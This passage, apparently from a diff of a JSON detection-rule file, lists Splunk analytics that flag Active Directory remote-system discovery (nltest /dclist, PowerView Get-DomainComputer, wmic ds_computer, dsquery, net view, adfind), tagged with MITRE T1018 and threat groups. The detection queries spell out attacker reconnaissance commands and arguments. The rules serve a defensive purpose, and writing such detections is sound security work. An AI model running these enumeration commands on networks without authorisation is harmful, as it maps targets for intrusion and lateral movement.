analytic detects the execution of `nltest.exe` with command-line arguments `/dclist:` or `/dsgetdc:` to discover domain controllers. It leverages Endpoint Detection and Response (EDR) data, focusing on process names and command-line arguments. This activity is significant because both Red Teams and adversaries use `nltest.exe` for situational awareness and Active Directory discovery. If confirmed malicious, this behavior could allow attackers to map out domain controllers, facilitating further attacks such as privilege escalation or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"nltest.exe\") (Processes.process=\"*/dclist:*\" OR Processes.process=\"*/dsgetdc:*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `domain_controller_discovery_with_nltest_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "CISA AA23-347A", - "Rhysida Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Domain controller discovery on $dest$ by $user$", - "risk_score": 21, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1018", - "mitre_attack_technique": "Remote System Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT32", - "APT39", - "Akira", - "BRONZE BUTLER", - "Chimera", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "FIN5", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Indrik Spider", - "Ke3chang", - "Leafminer", - "Magic Hound", - "Naikon", - "Rocke", - "Sandworm Team", - "Scattered Spider", - "Silence", - "Threat Group-3390", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Domain Controller Discovery with Wmic", - "description": "The following analytic identifies the execution of `wmic.exe` with command-line arguments used to discover domain controllers in a Windows domain. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant because it is commonly used by adversaries and Red Teams for situational awareness and Active Directory discovery. If confirmed malicious, this behavior could allow attackers to map out the network, identify key systems, and plan further attacks, potentially leading to unauthorized access and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"wmic.exe\") (Processes.process=\"\" OR Processes.process=\"*DomainControllerAddress*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `domain_controller_discovery_with_wmic_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Domain controller discovery on $dest$ by $user$", - "risk_score": 21, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1018", - "mitre_attack_technique": "Remote System Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT32", - "APT39", - "Akira", - "BRONZE BUTLER", - "Chimera", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "FIN5", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Indrik Spider", - "Ke3chang", - "Leafminer", - "Magic Hound", - "Naikon", - "Rocke", - "Sandworm Team", - "Scattered Spider", - "Silence", - "Threat Group-3390", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "GetAdComputer with PowerShell", - "description": "The following analytic detects the execution of `powershell.exe` with the `Get-AdComputer` commandlet, which is used to discover remote systems within a domain. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant because it indicates potential reconnaissance efforts by adversaries to map out domain computers, which is a common step in the attack lifecycle. If confirmed malicious, this behavior could allow attackers to gain situational awareness and plan further attacks, potentially leading to unauthorized access and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"powershell.exe\") (Processes.process=*Get-AdComputer*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `getadcomputer_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Remote system discovery enumeration on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1018", - "mitre_attack_technique": "Remote System Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT32", - "APT39", - "Akira", - "BRONZE BUTLER", - "Chimera", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "FIN5", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Indrik Spider", - "Ke3chang", - "Leafminer", - "Magic Hound", - "Naikon", - "Rocke", - "Sandworm Team", - "Scattered Spider", - "Silence", - "Threat Group-3390", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "GetAdComputer with PowerShell Script Block", - "description": "The following analytic detects the execution of the `Get-AdComputer` PowerShell commandlet using PowerShell Script Block Logging (EventCode=4104). This detection leverages script block text to identify when this commandlet is run. The `Get-AdComputer` commandlet is significant as it can be used by adversaries to enumerate all domain computers, aiding in situational awareness and Active Directory discovery. If confirmed malicious, this activity could allow attackers to map the network, identify targets, and plan further attacks, potentially leading to unauthorized access and data exfiltration.", - "search": "`powershell` EventCode=4104 (ScriptBlockText = \"*Get-AdComputer*\") | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | `security_content_ctime(firstTime)` | `getadcomputer_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "CISA AA22-320A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Remote system discovery enumeration on $Computer$ by $UserID$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1018", - "mitre_attack_technique": "Remote System Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT32", - "APT39", - "Akira", - "BRONZE BUTLER", - "Chimera", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "FIN5", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Indrik Spider", - "Ke3chang", - "Leafminer", - "Magic Hound", - "Naikon", - "Rocke", - "Sandworm Team", - "Scattered Spider", - "Silence", - "Threat Group-3390", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "GetDomainComputer with PowerShell", - "description": "The following analytic detects the execution of `powershell.exe` with command-line arguments that utilize `Get-DomainComputer` to discover remote systems. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as `Get-DomainComputer` is part of PowerView, a tool often used by adversaries for domain enumeration and situational awareness. If confirmed malicious, this activity could allow attackers to map out the network, identify critical systems, and plan further attacks, potentially leading to unauthorized access and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"powershell.exe\") (Processes.process=*Get-DomainComputer*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `getdomaincomputer_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Remote system discovery enumeration on $dest$ by $user$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1018", - "mitre_attack_technique": "Remote System Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT32", - "APT39", - "Akira", - "BRONZE BUTLER", - "Chimera", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "FIN5", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Indrik Spider", - "Ke3chang", - "Leafminer", - "Magic Hound", - "Naikon", - "Rocke", - "Sandworm Team", - "Scattered Spider", - "Silence", - "Threat Group-3390", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "GetDomainComputer with PowerShell Script Block", - "description": "The following analytic detects the execution of the `Get-DomainComputer` commandlet using PowerShell Script Block Logging (EventCode=4104). This commandlet is part of PowerView, a tool often used for enumerating domain computers within Windows environments. The detection leverages script block text analysis to identify this specific command. Monitoring this activity is crucial as it can indicate an adversary's attempt to gather information about domain computers, which is a common step in Active Directory reconnaissance. If confirmed malicious, this activity could lead to further network enumeration and potential lateral movement within the domain.", - "search": "`powershell` EventCode=4104 (ScriptBlockText = \"*Get-DomainComputer*\") | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `getdomaincomputer_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Remote system discovery with PowerView on $dest$ by $user$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1018", - "mitre_attack_technique": "Remote System Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT32", - "APT39", - "Akira", - "BRONZE BUTLER", - "Chimera", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "FIN5", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Indrik Spider", - "Ke3chang", - "Leafminer", - "Magic Hound", - "Naikon", - "Rocke", - "Sandworm Team", - "Scattered Spider", - "Silence", - "Threat Group-3390", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "GetDomainController with PowerShell", - "description": "The following analytic detects the execution of `powershell.exe` with the `Get-DomainController` command, which is used to discover remote systems within a Windows domain. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. Monitoring this activity is crucial as it may indicate an attempt to enumerate domain controllers, a common tactic in Active Directory discovery. If confirmed malicious, this activity could allow attackers to gain situational awareness, potentially leading to further exploitation and lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"powershell.exe\") (Processes.process=*Get-DomainController*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `getdomaincontroller_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Remote system discovery using PowerView on $dest$ by $user$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1018", - "mitre_attack_technique": "Remote System Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT32", - "APT39", - "Akira", - "BRONZE BUTLER", - "Chimera", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "FIN5", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Indrik Spider", - "Ke3chang", - "Leafminer", - "Magic Hound", - "Naikon", - "Rocke", - "Sandworm Team", - "Scattered Spider", - "Silence", - "Threat Group-3390", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "GetDomainController with PowerShell Script Block", - "description": "The following analytic detects the execution of the `Get-DomainController` commandlet using PowerShell Script Block Logging (EventCode=4104). This commandlet is part of PowerView, a tool often used for domain enumeration. The detection leverages script block text to identify this specific activity. Monitoring this behavior is crucial as it may indicate an adversary or Red Team performing reconnaissance to map out domain controllers. If confirmed malicious, this activity could lead to further domain enumeration, potentially exposing sensitive information and aiding in lateral movement within the network.", - "search": "`powershell` EventCode=4104 (ScriptBlockText = \"*Get-DomainController*\") | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | `security_content_ctime(firstTime)` | `getdomaincontroller_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Remote system discovery with PowerView on $Computer$ by $UserID$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1018", - "mitre_attack_technique": "Remote System Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT32", - "APT39", - "Akira", - "BRONZE BUTLER", - "Chimera", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "FIN5", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Indrik Spider", - "Ke3chang", - "Leafminer", - "Magic Hound", - "Naikon", - "Rocke", - "Sandworm Team", - "Scattered Spider", - "Silence", - "Threat Group-3390", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "GetWmiObject Ds Computer with PowerShell", - "description": "The following analytic detects the execution of `powershell.exe` with command-line arguments that utilize the `Get-WmiObject` cmdlet to discover remote systems, specifically targeting the `DS_Computer` parameter. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it indicates potential reconnaissance efforts by adversaries to enumerate domain computers and gather situational awareness within Active Directory. If confirmed malicious, this behavior could allow attackers to map the network, identify critical systems, and plan further attacks, potentially leading to unauthorized access and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"powershell.exe\") (Processes.process=*Get-WmiObject* AND Processes.process=\"*namespace root\\\\directory\\\\ldap*\" AND Processes.process=\"*class ds_computer*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `getwmiobject_ds_computer_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Remote system discovery enumeration using WMI on $dest$ by $user$", - "risk_score": 21, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1018", - "mitre_attack_technique": "Remote System Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT32", - "APT39", - "Akira", - "BRONZE BUTLER", - "Chimera", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "FIN5", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Indrik Spider", - "Ke3chang", - "Leafminer", - "Magic Hound", - "Naikon", - "Rocke", - "Sandworm Team", - "Scattered Spider", - "Silence", - "Threat Group-3390", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "GetWmiObject Ds Computer with PowerShell Script Block", - "description": "The following analytic detects the execution of the `Get-WmiObject` cmdlet with the `DS_Computer` class parameter via PowerShell Script Block Logging (EventCode=4104). This detection leverages script block text to identify queries targeting domain computers using WMI. Monitoring this activity is crucial as adversaries and Red Teams may use it for Active Directory Discovery and situational awareness. If confirmed malicious, this behavior could allow attackers to map out domain computers, facilitating further attacks such as lateral movement or privilege escalation.", - "search": "`powershell` EventCode=4104 (ScriptBlockText=*Get-WmiObject* AND ScriptBlockText=\"*namespace root\\\\directory\\\\ldap*\" AND ScriptBlockText=\"*class ds_computer*\") | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | `security_content_ctime(firstTime)` | `getwmiobject_ds_computer_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Remote system discovery enumeration on $Computer$ by $UserID$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1018", - "mitre_attack_technique": "Remote System Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT32", - "APT39", - "Akira", - "BRONZE BUTLER", - "Chimera", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "FIN5", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Indrik Spider", - "Ke3chang", - "Leafminer", - "Magic Hound", - "Naikon", - "Rocke", - "Sandworm Team", - "Scattered Spider", - "Silence", - "Threat Group-3390", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Remote System Discovery with Adsisearcher", - "description": "The following analytic detects the use of the `[Adsisearcher]` type accelerator in PowerShell scripts to query Active Directory for domain computers. It leverages PowerShell Script Block Logging (EventCode=4104) to identify specific script blocks containing `adsisearcher` and `objectcategory=computer` with methods like `findAll()` or `findOne()`. This activity is significant as it may indicate an attempt by adversaries or Red Teams to perform Active Directory discovery and gain situational awareness. If confirmed malicious, this could lead to further reconnaissance and potential lateral movement within the network.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*adsisearcher*\" AND ScriptBlockText = \"*objectcategory=computer*\" AND ScriptBlockText IN (\"*findAll()*\",\"*findOne()*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest |rename UserID as user | `security_content_ctime(firstTime)` | `remote_system_discovery_with_adsisearcher_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Remote system discovery enumeration with adsisearcher on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1018", - "mitre_attack_technique": "Remote System Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT32", - "APT39", - "Akira", - "BRONZE BUTLER", - "Chimera", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "FIN5", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Indrik Spider", - "Ke3chang", - "Leafminer", - "Magic Hound", - "Naikon", - "Rocke", - "Sandworm Team", - "Scattered Spider", - "Silence", - "Threat Group-3390", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Remote System Discovery with Dsquery", - "description": "The following analytic detects the execution of `dsquery.exe` with the `computer` argument, which is used to discover remote systems within a domain. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. Remote system discovery is significant as it indicates potential reconnaissance activities by adversaries or Red Teams to map out network resources and Active Directory structures. If confirmed malicious, this activity could lead to further exploitation, lateral movement, and unauthorized access to critical systems within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"dsquery.exe\") (Processes.process=\"*computer*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `remote_system_discovery_with_dsquery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Remote system discovery enumeration on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1018", - "mitre_attack_technique": "Remote System Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT32", - "APT39", - "Akira", - "BRONZE BUTLER", - "Chimera", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "FIN5", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Indrik Spider", - "Ke3chang", - "Leafminer", - "Magic Hound", - "Naikon", - "Rocke", - "Sandworm Team", - "Scattered Spider", - "Silence", - "Threat Group-3390", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Remote System Discovery with Net", - "description": "The following analytic identifies the execution of `net.exe` or `net1.exe` with command-line arguments used to discover remote systems, such as `domain computers /domain`. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant as it indicates potential reconnaissance efforts by adversaries or Red Teams to map out networked systems and Active Directory structures. If confirmed malicious, this behavior could lead to further network exploitation, privilege escalation, or lateral movement within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"net.exe\" OR Processes.process_name=\"net1.exe\") (Processes.process=\"*domain computers*\" AND Processes.process=*/do*) OR (Processes.process=\"*view*\" AND Processes.process=*/do*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `remote_system_discovery_with_net_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "IcedID" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Remote system discovery enumeration on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1018", - "mitre_attack_technique": "Remote System Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT32", - "APT39", - "Akira", - "BRONZE BUTLER", - "Chimera", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "FIN5", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Indrik Spider", - "Ke3chang", - "Leafminer", - "Magic Hound", - "Naikon", - "Rocke", - "Sandworm Team", - "Scattered Spider", - "Silence", - "Threat Group-3390", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Remote System Discovery with Wmic", - "description": "The following analytic detects the execution of `wmic.exe` with specific command-line arguments used to discover remote systems within a domain. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it indicates potential reconnaissance efforts by adversaries to map out network resources and Active Directory structures. If confirmed malicious, this behavior could allow attackers to gain situational awareness, identify critical systems, and plan further attacks, potentially leading to unauthorized access and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"wmic.exe\") (Processes.process=*/NAMESPACE:\\\\\\\\root\\\\directory\\\\ldap* AND Processes.process=*ds_computer* AND Processes.process=\"*GET ds_samaccountname*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `remote_system_discovery_with_wmic_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Remote system discovery enumeration on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1018", - "mitre_attack_technique": "Remote System Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT32", - "APT39", - "Akira", - "BRONZE BUTLER", - "Chimera", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "FIN5", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Indrik Spider", - "Ke3chang", - "Leafminer", - "Magic Hound", - "Naikon", - "Rocke", - "Sandworm Team", - "Scattered Spider", - "Silence", - "Threat Group-3390", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows AdFind Exe", - "description": "The following analytic identifies the execution of `adfind.exe` with specific command-line arguments related to Active Directory queries. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, command-line arguments, and parent processes. This activity is significant because `adfind.exe` is a powerful tool often used by threat actors like Wizard Spider and FIN6 to gather sensitive AD information. If confirmed malicious, this activity could allow attackers to map the AD environment, facilitating further attacks such as privilege escalation or lateral movement.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process=\"* -f *\" OR Processes.process=\"* -b *\") AND (Processes.process=*objectcategory* OR Processes.process=\"* -gcb *\" OR Processes.process=\"* -sc *\") by Processes.dest Processes.user Processes.process_name Processes.process Processes.parent_process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_adfind_exe_filter`", - "tags": { - "analytic_story": [ - "Domain Trust Discovery", - "Graceful Wipe Out Attack", - "IcedID", - "NOBELIUM Group" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Windows AdFind Exe", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1018", - "mitre_attack_technique": "Remote System Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - 